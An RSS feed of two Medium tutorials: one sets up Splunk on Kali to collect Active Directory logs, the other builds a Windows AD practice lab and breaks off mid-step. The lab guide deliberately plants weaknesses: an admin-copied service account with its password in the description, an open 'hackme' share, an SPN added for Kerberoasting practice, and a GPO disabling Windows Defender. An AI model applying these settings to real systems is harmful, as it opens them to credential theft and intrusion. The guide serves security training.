<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Olakunle Pelumi on Medium]]></title>
        <description><![CDATA[Stories by Olakunle Pelumi on Medium]]></description>
        <link>https://medium.com/@olakunlepelumi59?source=rss-afdd3975ee47------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*acMi0LFUzYX2Tfst</url>
            <title>Stories by Olakunle Pelumi on Medium</title>
            <link>https://medium.com/@olakunlepelumi59?source=rss-afdd3975ee47------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 07:50:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@olakunlepelumi59/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to Install Splunk on Kali Linux and Forward Windows Logs from an Active Directory Domain…]]></title>
            <link>https://medium.com/@olakunlepelumi59/how-to-install-splunk-on-kali-linux-and-forward-windows-logs-from-an-active-directory-domain-d4357226eafd?source=rss-afdd3975ee47------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4357226eafd</guid>
            <dc:creator><![CDATA[Olakunle Pelumi]]></dc:creator>
            <pubDate>Thu, 10 Jul 2025 09:08:47 GMT</pubDate>
            <atom:updated>2025-07-10T09:08:47.131Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How to Install Splunk on Kali Linux and Forward Windows Logs from an Active Directory Domain Controller in Your Lab</strong></h3><p>In this article, I’ll show you how to install Splunk on a Kali Linux machine running in your virtual lab and set up a Splunk Universal Forwarder on a Windows Active Directory Domain Controller. The goal is to forward Windows event logs from your DC to Splunk so you can start analyzing and visualizing them. This is a great step if you’re learning cybersecurity, SIEM, or incident response.</p><p><strong>Note:</strong> If you don’t already have an Active Directory lab set up, no worries! I’ve written an article on how to build a basic AD lab with a Domain Controller and clients. Check it out <a href="https://medium.com/@olakunlepelumi59/building-a-basic-active-directory-lab-with-one-domain-controller-and-two-clients-2aa483bd28fb"><strong>here</strong></a> for step-by-step instructions before diving into this Splunk setup.</p><p>Let’s get started!</p><h3>What is Splunk?</h3><p>Splunk is a powerful software platform that helps you <strong>collect, search, and analyze machine-generated data </strong>like logs, events, and metrics from all kinds of systems and devices. Think of it as a super search engine for your IT data.</p><p>It’s widely used in cybersecurity, IT operations, and business analytics. In this article, we’ll be using Splunk to <strong>collect Windows logs from an Active Directory Domain Controller</strong> so you can start exploring how log data reveals what’s happening in your network.</p><h3>Installing Splunk on Kali</h3><p>First, we need to install Splunk on our Kali Linux virtual machine. We’ll be using the free version of Splunk Enterprise, which allows you to index up to 500 MB of data per day, perfect for testing and learning in a lab environment.</p><p>First, I went to <a href="https://www.splunk.com/">Splunk’s official website</a> and signed up for a free account. After logging in, I navigated to the downloads page and selected the Linux 64-bit .deb installer for Splunk Enterprise.</p><p>Splunk also provides a Download via wget link, making it easy to download the installer directly onto the Kali machine without transferring files manually.</p><p>On my Kali terminal, I used the wget command to download the installer, like this:</p><pre>wget -O splunk-9.4.3-237ebbd22314-linux-amd64.deb &quot;https://download.splunk.com/products/splunk/releases/9.4.3/linux/splunk-9.4.3-237ebbd22314-linux-amd64.deb&quot;</pre><p><em>Ensure to replace the version and filename with the latest available on Splunk’s website.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONmKa2-JhVVQwxJAiLtX0A.png" /></figure><p>Once the download is complete, install Splunk using the dpkg command:</p><pre>dpkg -i ./splunk-9.4.3-237ebbd22314-linux-amd64.deb </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iD8F9lX6Zg6bRE6CNGzXSw.png" /></figure><h3>Starting Splunk After Installation</h3><p>After you install the .deb package, Splunk’s files are placed in a default directory:</p><pre>/opt/splunk</pre><p>This is the default installation location on Linux for Splunk Enterprise.</p><p>To start Splunk, run this command in your terminal:</p><pre>sudo /opt/splunk/bin/splunk start</pre><p>After installing Splunk and running it for the first time, you’ll need to <strong>manually accept the license agreement</strong> before using the software. Press <strong>Space</strong> to scroll page by page, or <strong>Enter</strong> to scroll line by line, until you reach the end of the license agreement, where you’ll need to type <strong>“y”</strong> to accept it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LfzGnz6o0tgnhC8TyKmaig.png" /></figure><p>After accepting the license, Splunk will ask you to create an admin username and password for the Splunk web interface:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2xs8rfTJVV1RT7_JQrhfg.png" /></figure><p>Set your desired credentials, and Splunk will complete the startup process. You’ll then see a message letting you know that the web interface is available at</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a84wvcByvLGQnH7VFOkdDg.png" /></figure><p>Open your browser and go to the web interface</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZKLYCBsICqDSYJ4eFendQ.png" /></figure><p>Log in with the username and password you created at installation.</p><p>Once inside, go to <strong>Settings</strong>, then <strong>Server settings</strong>, and choose <strong>General settings</strong>. On this page, scroll down to the section labeled <strong>Splunk Web</strong>, where you’ll find the option to enable SSL for the web interface. By default, this setting is turned off and set to “No.” Change it to “Yes” to enable HTTPS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YrId6dkFU2ANEok_0Ndbcg.png" /></figure><p>Splunk will prompt you to restart for the new settings to take effect. You can click the <strong>Restart Now</strong> button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FOtgKl4EHlqVnBYfUZtH0w.png" /></figure><p>Once Splunk restarts, you’ll access the web interface at https://&lt;your_kali_ip&gt;:8000 instead of HTTP. The connection will now be encrypted, ensuring your login credentials and other data are protected in transit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cdEh10fNrIiQmnDYFbdG0A.png" /></figure><p>Enabling HTTPS is a crucial step, even in a lab environment, as it helps secure sensitive information and protects your Splunk deployment from eavesdropping or man-in-the-middle attacks. With SSL enabled, you’re ready to move on and connect your Windows Domain Controller by setting up the <strong>Splunk Universal Forwarder.</strong></p><h3>Installing Splunk Universal Forwarder on the Windows Domain Controller</h3><p>After setting up Splunk on Kali Linux, the next step is to collect logs from the Windows Active Directory Domain Controller. This is done using the <strong>Splunk Universal Forwarder (UF) </strong>a lightweight agent that runs on the Domain Controller and securely forwards logs to the Splunk indexer for analysis.</p><p>To begin, download the Universal Forwarder from the <a href="https://www.splunk.com/">official Splunk Downloads page</a>. Choose the <strong>Windows 64-bit MSI installer</strong>, which is suitable for most modern Windows Server environments. You will need to log in with your Splunk account to access the download.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*yFmPQN5EyA4YgG_o8aakuQ.png" /></figure><p>Once the MSI installer for the Splunk Universal Forwarder has been downloaded, it can be launched by double-clicking the file to begin the setup process.</p><p>The installation wizard guides the user through several steps, starting with accepting the license agreement and choosing the installation path, where the default location is usually sufficient for most environments.</p><p>During the setup, there is an option to configure the receiving indexer, which requires entering the <strong>IP address of the Kali Linux machine</strong> where Splunk Enterprise is installed, along with specifying port<strong> 9997</strong> as the destination for the forwarded data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*9sDJEnh0j5WmrVGO_Pgl0Q.png" /></figure><p>After configuring the destination, proceed with the installation. Once it’s finished, the <strong>Splunk Universal Forwarder service will automatically start</strong> .</p><h3>Configuring Splunk Universal Forwarder on the Windows Domain Controller</h3><p>After installing Splunk Enterprise on the Kali Linux machine and completing the Universal Forwarder installation on the Windows Active Directory Domain Controller, additional configuration steps are needed to ensure Active Directory logs are properly collected and forwarded.</p><p>First, navigate to the Universal Forwarder’s installation directory, typically located at:</p><pre>C:\Program Files\SplunkUniversalForwarder\etc\apps\search</pre><p>Inside the <strong>apps</strong> folder, locate or create a folder named local. The full path should look like this:</p><pre>C:\Program Files\SplunkUniversalForwarder\etc\apps\search\local</pre><p>Within the local folder, create a new text file named <strong>inputs.conf</strong>. This file is used to define the data inputs that the Universal Forwarder should collect and forward to the Splunk indexer. For collecting Active Directory monitoring data, add the following configuration to the inputs.conf file:</p><pre>[admon://HYDRA-DC]<br>targetDc = HYDRA-DC.MARVEL.local<br>disabled = false<br>index = ad_index</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*3XVKKZMZoY7x3E2_pvS3yQ.png" /></figure><p>In this example, the [admon://HYDRA-DC] defines an Active Directory monitoring input targeting the Domain Controller named <strong>HYDRA-DC</strong> within the <strong>MARVEL.local</strong> domain. The disabled = false line ensures the input is active and index = ad_index specifies the index in Splunk where the data should be stored. Adjust the values to match your own domain controller’s name and domain.</p><p>Once the configuration file has been created and saved, it’s necessary to restart the Splunk Universal Forwarder service so that the new settings take effect. To do this, open <strong>Command Prompt</strong> as Administrator and navigate to the bin directory of the Universal Forwarder installation:</p><pre>cd C:\Program Files\SplunkUniversalForwarder\bin</pre><p>Start the Universal Forwarder using the following command:</p><pre>splunk start</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*eNvYOjsFQLttckfoc3hqhg.png" /></figure><p>After the service has started, restart it to ensure all configurations are loaded properly:</p><pre>splunk restart</pre><p>At this point, the Universal Forwarder is configured to collect Active Directory logs from the specified domain controller and forward them to the Splunk instance running on the Kali Linux server. The next step involves configuring Splunk to receive the forwarded data and verifying that the logs are successfully arriving in the designated index.</p><h3>Configuring Splunk to Receive Data from the Universal Forwarder</h3><p>After setting up the Splunk Universal Forwarder on the Windows Domain Controller, the next step is to configure Splunk on Kali Linux to receive the incoming data. This ensures that logs forwarded from the Domain Controller are ingested and indexed properly in Splunk for analysis.</p><p>First, open the Splunk web interface and log in using the admin credentials that were created during the Splunk installation.</p><p>To allow Splunk to accept data from forwarders, it’s necessary to enable a receiving port. This can be done by going to <strong>Settings &gt; Forwarding and receiving, selecting Configure receiving, and clicking on Add new.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWaIzZu-NATSX3XkpBMLxw.png" /></figure><p>In the setup screen, enter <strong>9997</strong> as the port number, which corresponds to the port configured on the Universal Forwarder during its installation. Saving these changes opens the specified port on the Splunk server, allowing it to accept incoming data streams from the Domain Controller.</p><p>Before Splunk can store logs sent from the Universal Forwarder, it’s important to create the index where this data will be saved. In this setup, the Universal Forwarder configuration specifies an index called ad_index. If this index doesn’t exist yet in Splunk, it needs to be created manually to ensure incoming data has a destination.</p><p>To create a new index, log into the Splunk web interface and navigate to <strong>Settings &gt; Indexes</strong>. Click on <strong>New Index</strong>, then enter ad_index as the name of the index.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sGalgAmBtVfd-vGGCY1-Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPj8va0rZjeFKgoUZotwIw.png" /></figure><p>After setting up the Universal Forwarder and configuring Splunk to receive data, it’s helpful to generate some activity on the Domain Controller to confirm that logs are being forwarded and indexed correctly. One simple way to do this is by creating a new user account in Active Directory. Creating a user triggers events in the Windows Security log, which can then be captured by the Universal Forwarder and sent to Splunk.</p><p>To create a new user, log in to the Domain Controller and open <strong>Active Directory Users and Computers</strong>. Right-click the appropriate Organizational Unit (OU) where you want the new user to reside, select <strong>New &gt; User</strong>, and fill in the required details such as the user’s first name, last name, and login name. Proceed through the wizard, set a password, and finish creating the account. This action will generate events related to user account management.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*myJ9csYj1cUAcXqn8hVqxQ.png" /><figcaption>Created user neroe kunle</figcaption></figure><p>As shown below, this action generated five events in the ad_index.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYgOoauqwF70WDaVnlXlRg.png" /></figure><p>After creating the user, return to Splunk on Kali Linux and perform a search in the Splunk web interface to look for the new event. For example, running a query such as:</p><pre>index=ad_index</pre><p>This helps confirm whether the log entry for the new user creation has been successfully collected and indexed. Seeing the event appear in search results verifies that the log forwarding setup is working correctly and that Splunk is receiving real-time data from the Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZRqezmllH6--ejC-I9sLFQ.png" /></figure><p>In summary, we walked through the process of setting up Splunk in a lab environment to collect and analyze Windows Active Directory logs. We started by installing Splunk Enterprise on Kali Linux using the .deb package and configuring it to run via the web interface. Next, we installed the Splunk Universal Forwarder on the Windows Domain Controller and set it up to forward logs to the Splunk server on Kali.</p><p>We then created a custom configuration file, inputs.conf, to specify the collection of Active Directory monitoring data and defined the ad_index in Splunk to ensure the incoming logs had a destination. After setting up the receiving port, we tested the setup by creating a new user account on the Domain Controller. This action generated security events that were successfully forwarded and indexed in Splunk, confirming that our log pipeline was working correctly.</p><p>With this setup, Splunk is now ready to collect and analyze Windows event logs, providing valuable insights for monitoring Active Directory activities, detecting security incidents, and gaining a deeper understanding of what’s happening in the environment. From here, you can explore creating dashboards, building alerts, or diving into more advanced use cases like threat hunting and compliance monitoring.</p><p>If you don’t already have an Active Directory lab to try this out, feel free to check out my other article on building a basic AD lab environment; the link is included earlier in this post.</p><p>Thanks for following along, and happy Splunking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4357226eafd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Basic Active Directory Lab with One Domain Controller and Two Clients]]></title>
            <link>https://medium.com/@olakunlepelumi59/building-a-basic-active-directory-lab-with-one-domain-controller-and-two-clients-2aa483bd28fb?source=rss-afdd3975ee47------2</link>
            <guid isPermaLink="false">https://medium.com/p/2aa483bd28fb</guid>
            <dc:creator><![CDATA[Olakunle Pelumi]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 19:18:25 GMT</pubDate>
            <atom:updated>2025-07-07T19:25:55.419Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*7kq32Srtm5yj_G26-n7UOg.png" /></figure><p><strong>What is Active Directory?</strong></p><p><strong>Active Directory (AD)</strong> is a centralized directory service developed by Microsoft that helps organizations manage and control access to networked resources such as users, computers, printers, and files.</p><p>It acts as the <strong>“brain” of a Windows-based network</strong>, storing detailed information about every user, group, and device in a central location and allowing administrators to control how those resources are accessed.</p><p><strong>Why Build an Active Directory (AD) Lab?</strong></p><p>Setting up your <strong>Active Directory lab</strong> gives you a safe, hands-on environment to learn how Windows enterprise networks work, without needing access to a real company’s infrastructure.</p><p>Whether you’re aiming for cybersecurity, system administration, or blue-team defense, an AD lab is <strong>foundational knowledge</strong>.</p><p><strong>Lab Goals and Overview.</strong></p><p>This lab is designed to simulate a <strong>small enterprise Windows network</strong> using virtual machines. It includes one <strong>Domain Controller (DC)</strong> running Active Directory and two <strong>Windows 10 clients</strong> joined to the domain. The primary goal is to build a foundational environment where you can practice.</p><p><strong>REQUIREMENTS</strong></p><ul><li>Host Machine 8GB Memory 500GB Storage</li><li>Virtualization Software (VirtualBox, VMWare, Hyper-V)</li><li><a href="https://www.microsoft.com/en-us/evalcenter/download-windows-server-2022">Windows Server ISO</a></li><li><a href="https://www.microsoft.com/en-us/evalcenter/download-windows-10-enterprise">Windows 10 ISO</a></li></ul><h3><strong>Installing and Setting Up the Domain Controller (Windows Server 2019).</strong></h3><p>Windows Server serves as the backbone of Active Directory, offering the essential infrastructure and services needed to manage network resources, security policies, and user accounts. Now that we’ve downloaded it from the link above, let’s get started with the setup.</p><p>Open VMware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q_vrnJ-r3iZEyuR_xzpjXg.png" /></figure><p>After opening your VMware, click on the Create a new virtual machine button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFWQ2paHh6QQKcSxmNRU0g.png" /></figure><p>Locate the downloaded Windows Server ISO and click on Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oU5JcbXa1hkXhXPyEkuNGg.png" /></figure><p>Choose the Windows Server Standard Core and click Next</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKZ32xIuwe9z0R9VH9yVzw.png" /></figure><p>Set your preferred disk size — I’ll be using the recommended 60GB — and choose to split the virtual disk into multiple files for better performance. Then, click “Next.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lnwRZUcWa2gDvJ25euezKw.png" /></figure><p>Make sure to uncheck “Power on this virtual machine after creation” to avoid any errors during the installation process. Then, click “Finish.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*v-zJcn0Ed_7JsIn_Mj44Xw.png" /></figure><p>Click on “Edit virtual machine settings.” We’ll remove the floppy disk to help prevent installation errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zCKm_eKWDA1rmpd2T5o_eg.png" /></figure><p>Select ‘<strong>Floppy Disk</strong>” and Click “<strong>remove</strong>” then “<strong>Ok</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*CwktQJQOKnJEHGZlRhxoHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*9qGNFo3jdIY1jNKDVtEBuw.png" /></figure><p>Power on the virtual machine, and you should see a screen similar to the one shown. Choose your preferred language, time and currency format, and keyboard or input method — or simply click “Next” to proceed with the default settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*Kfw3brzXoMNFDNT1Zlcmsg.png" /></figure><p>On the next screen, review the license terms, check the box to accept them, and then click “Next” to continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*1Ig81Cq3Oz_sy9p-QcTMzQ.png" /></figure><p>Select “custom”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*C2n7JfgefNpr1i9l8tEo5w.png" /></figure><p>Click “New” to create a partition, then click “Apply” to confirm the changes. Once done, click “Next” to proceed with the installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*NSP7tmSGtpkVhA8MJzR3Cg.png" /></figure><p>Allow the installation to proceed — this may take several minutes. The system will copy files and install features automatically during this process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3gX45wEvo3JqF-NaGqsdxw.png" /></figure><p>Once the installation is complete, you should see a screen similar to the one below. To improve the overall performance, display resolution, and enable smoother mouse integration, it’s important to install <strong>VMware Tools</strong>.</p><p>To do this, right-click on your VM tab and select <strong>“Install VMware Tools.”</strong> This will mount the tools as a virtual CD inside your VM. Open it from <strong>File Explorer</strong> within the VM, run the setup, and follow the prompts to complete the installation. Restart the VM afterward if prompted.</p><p>Next, click <strong>Start</strong> and type <strong>“Computer”</strong> in the search bar. Select the option that says <strong>“View your PC name.”</strong> Scroll down and click <strong>“Rename this PC”</strong> — you can enter any name you prefer. After renaming, restart the system for the changes to take effect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WB1JprOitwZlMEp4GrZ9KA.png" /></figure><p>Once you’re logged back into Windows, the <strong>Server Manager</strong> should open automatically. If it doesn’t, open it manually from the Start menu. Then, click on <strong>“Manage”</strong> in the top-right corner and select <strong>“Add Roles and Features”</strong> to begin setting up your server roles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*_2S2bSgKwcImNTXOAhuqUg.png" /></figure><p>Click <strong>Next</strong> on the initial screen. Leave the default option <strong>“Role-based or feature-based installation”</strong> selected and click <strong>Next</strong> again. On the server selection screen, click <strong>Next</strong> once more.</p><p>When you reach the <strong>Server Roles</strong> section, check <strong>“Active Directory Domain Services.”</strong> A prompt will appear — click <strong>“Add Features”</strong> to include the required components. Then continue by clicking <strong>Next</strong> through the remaining screens, and finally, click <strong>Install</strong>.</p><p>Once the installation is complete, a small <strong>flag icon</strong> will appear at the top of Server Manager. Click the flag to view notifications — it will inform you that the server needs to be <strong>promoted to a domain controller</strong>. Click the notification to begin the promotion process.</p><p>Choose <strong>“Add a new forest”</strong> and enter a <strong>Root domain name</strong> of your choice (e.g., yourdomain.local), then click <strong>Next</strong>.</p><p>On the Domain Controller Options page, create a <strong>Directory Services Restore Mode (DSRM) password</strong> — this is used for recovery purposes. Enter and confirm the password, then click <strong>Next</strong>.</p><p>Continue clicking <strong>Next</strong> through the remaining steps until you reach the <strong>Install</strong> button. Finally, click <strong>Install</strong> to begin promoting your server to a domain controller. The system will automatically restart once the promotion is complete.</p><h3>Setting up the user machines</h3><p>Just like before, using <strong>VMware</strong>, start by creating a new virtual machine. Choose the <strong>typical installation</strong> option and proceed through the wizard. When prompted, select “I will install the operating system later,” choose <strong>Microsoft Windows</strong> as the OS type, and select the appropriate version based on your client ISO (for example, Windows 10 or 11). Name the virtual machine something identifiable like “Client-PC,” and set the maximum disk size to <strong>60GB</strong>, keeping the other default settings. Choose to <strong>split the virtual disk into multiple files</strong> for better performance on some systems and finish the setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZXRoPb1gfoh6ponQZc-UQ.png" /></figure><p>Next, <strong>right-click on the VM</strong> and select <strong>Settings</strong>. Under the hardware options, remove the <strong>Floppy Drive</strong> if it’s listed to prevent boot errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LjRkPL4gfWvLpyvYZoilFQ.png" /></figure><p>Now, power on the virtual machine. Once the setup begins, verify that your <strong>language, time and currency format, and keyboard layout</strong> are correct, then click <strong>Next</strong> and select <strong>Install Now</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AFyEllyydgtcXDfnDTML3w.png" /></figure><p>Accept the license terms by checking the appropriate box and clicking <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*P4MWFHfsYfD_BQikNoC_6g.png" /></figure><p>Choose the <strong>Custom: Install Windows only (advanced)</strong> option when prompted. You’ll then be taken to the disk partition screen — click <strong>New</strong>, then <strong>Apply</strong>, and finally <strong>Next</strong> once Windows has created the necessary partitions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*g35LZDqSMa-Z9UxJrglEwQ.png" /></figure><p>After installation, the system will restart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*M-vMoMAbCCBSIdVXV6zLiQ.png" /></figure><p>You’ll then need to select your <strong>region</strong> and <strong>keyboard layout</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*Yxlc0-Wqj1_7X2gPmJex4A.png" /></figure><p>When you reach the sign-in screen, instead of entering a Microsoft account, click <strong>“Domain join instead”</strong> at the bottom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RfiQJJEn15nycOLauYxGSw.png" /></figure><p>You’ll then be asked to create a <strong>local user account</strong> — enter a <strong>name</strong> for the user and click <strong>Next</strong>. After that, you’ll need to create a <strong>password</strong> for the account, confirm it, and set up <strong>three security questions</strong>. Again, if you’re using <strong>VMware</strong>, you may need to install <strong>VMware Tools</strong> to improve performance, display resolution, and overall user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAbH2mqGzb84DoI2PraUKg.png" /></figure><p>Once the Windows desktop finishes loading, click <strong>Start</strong> and type <strong>“computer”</strong> into the search bar, then select <strong>“View your PC name.”</strong> In the window that opens, scroll down and click <strong>“Rename this PC.”</strong> Enter a name of your choice for the client machine, click <strong>Next</strong>, and then <strong>restart</strong> the system for the changes to take effect.</p><h3><strong>Setting Up Users, Groups, and Policies</strong></h3><p>Once your domain controller is fully configured and your client machines are set up, the next step is to manage your network environment by creating users, organizing them into groups, and applying policies through <strong>Group Policy Management</strong>.</p><p>Start by opening <strong>Server Manager</strong> on your domain controller. From the top-right corner, click on <strong>Tools</strong> and select <strong>Active Directory Users and Computers</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zy6d_7GXF62xri9CX0nrGw.png" /></figure><p>Here, you’ll see your domain listed on the left panel. Expand it, and you’ll find default containers like <strong>Users</strong>, <strong>Computers</strong>, and <strong>Domain Controllers</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpmwkrddZ_97Iboy_vxDMA.png" /></figure><p>To create two new users, right-click the Users container (or create a new Organizational Unit for better organization), choose <strong>New &gt; User</strong>, and fill in details like first name, last name, and username for the first user. Set a strong password and decide whether the user must change it at the next logon or if it should never expire. Repeat the same steps to create the second user with their unique details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*Udobzd8raSdRImgpi6op7g.png" /></figure><p>If you’re building this lab for <strong>testing or learning purposes</strong>, you might want to simulate how service accounts are used in real environments. A good example is to create a <strong>SQL Service account</strong> by duplicating the domain administrator account’s privileges.</p><p>To do this, open <strong>Active Directory Users and Computers</strong>. Right-click on the <strong>Administrator</strong> account and select <strong>Copy</strong>. In the new user wizard, set the <strong>First Name</strong> to <strong>SQL</strong>, <strong>Last Name</strong> to <strong>Service</strong>, and the <strong>User logon name</strong> to <strong>SQLService</strong>. Set a strong password and configure it so that the password never expires (as is often the case with service accounts). Finish creating the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TetimjiJDmGBAufJyjPRnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aYhvmstHHTTnEwfQhFN53w.png" /></figure><p>Once the user is created, right-click on the <strong>SQLService</strong> account and go to <strong>Properties</strong>. In the <strong>Description</strong> field, enter a note such as <strong>“Password: P@ssw0rd123”</strong> — this is often done in testing environments for convenience, though it would be a security risk in production. Click <strong>Apply</strong> and <strong>OK</strong> to save the changes.</p><p>Next, let’s set up a <strong>file share</strong> so users on the domain can access shared folders across the network. Begin by <strong>closing any open windows</strong> and returning to <strong>Server Manager</strong>. In the left-hand panel, click on <strong>File and Storage Services</strong>, then select <strong>Shares</strong> from the submenu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GNi2qhp1samGjkDX1GnYSA.png" /></figure><p>On the right-hand side, click <strong>Tasks</strong> and choose <strong>New Share</strong> to launch the <strong>New Share Wizard</strong>. For a basic and quick setup, select <strong>“SMB Share — Quick”</strong> and click <strong>Next</strong>. On the next screen, you’ll be asked to choose a location for the share. Proceed by clicking <strong>Next</strong> again, then provide a name for the share — <strong>HYDRA-DC\hackme</strong> in this case. Continue clicking <strong>Next</strong> until you reach the <strong>Create</strong> option. Click <strong>Create</strong>, then close the wizard once the process completes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1dOYu9feA-7pc5I0AJyaLw.png" /></figure><p>Setting up a shared folder on the domain controller not only mirrors a common real-world configuration but also opens up relevant ports and introduces a potential attack vector we can explore further.</p><p>Next, we need to create a Service Principal Name (SPN) so we can also experiment with a Kerberoasting attack. Open a Command Prompt as Administrator, and enter the following command:</p><pre>setspn -a &lt;Your-DC-Hostname&gt;/SQLService.&lt;YourDomain&gt;:60111 &lt;YourDomain&gt;\SQLService</pre><p>After we also enter:</p><pre>setspn -T &lt;YourDomain&gt; -Q */*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*Ca7ylZBxDPaJLeVvQ5sTAg.png" /></figure><p>Because this is a testing environment, we’ll simplify things by disabling Windows Defender for now<strong>.</strong> To do so, click <strong>Start</strong> and type <strong>Group Policy Management</strong> into the search bar. When it appears, right-click it and select <strong>Run as administrator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*4TydZYVDAy7gRkwlao4_ig.png" /></figure><p>In the Group Policy Management console, expand the <strong>Forest</strong> and <strong>Domains</strong> sections. Then, right-click your domain and choose <strong>Create a GPO in this domain, and Link it here…</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r-sDaE1S2Ijag_82wrhFXg.png" /></figure><p>Name the new GPO “<strong>Disable Windows Defender</strong>” and click OK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IDidVbA_2O-HPynS44oDGg.png" /></figure><p>Next, expand the tree in Group Policy Management until you see the newly created <strong>Disable Windows Defender</strong> policy. Right-click it and select <strong>Edit</strong>. In the Group Policy Management Editor, expand <strong>Policies</strong>, then <strong>Administrative Templates</strong>, followed by <strong>Windows Components</strong>, and finally click on <strong>Windows Defender Antivirus</strong>. Double-click <strong>Turn off Windows Defender Antivirus</strong>, choose <strong>Enabled</strong>, then click <strong>Apply</strong> and <strong>OK</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WIfBSrZgrZ2QblUbV6Xgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RF3y4sdX6AUg44st2vqYrg.png" /></figure><blockquote><strong><em>By default, the Enforced setting for the GPO is set to “No.”</em></strong><em> To change this, right-click the GPO and select </em><strong><em>Enforced</em></strong><em> so that it switches to </em><strong><em>Yes</em></strong><em>.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKSioHJSFo2nAL6FgHaTKA.png" /></figure><h3><strong>Joining Our Machines to the Domain</strong></h3><p>Now that we’ve set up our domain controller and configured the necessary policies, the next step is to join our client machines to the domain.</p><p><strong>Start the Windows 10 client machines and log in.</strong> Open <strong>File Explorer</strong> and navigate to the <strong>C:</strong> drive. Create a new folder called <strong>Share</strong>. Right-click 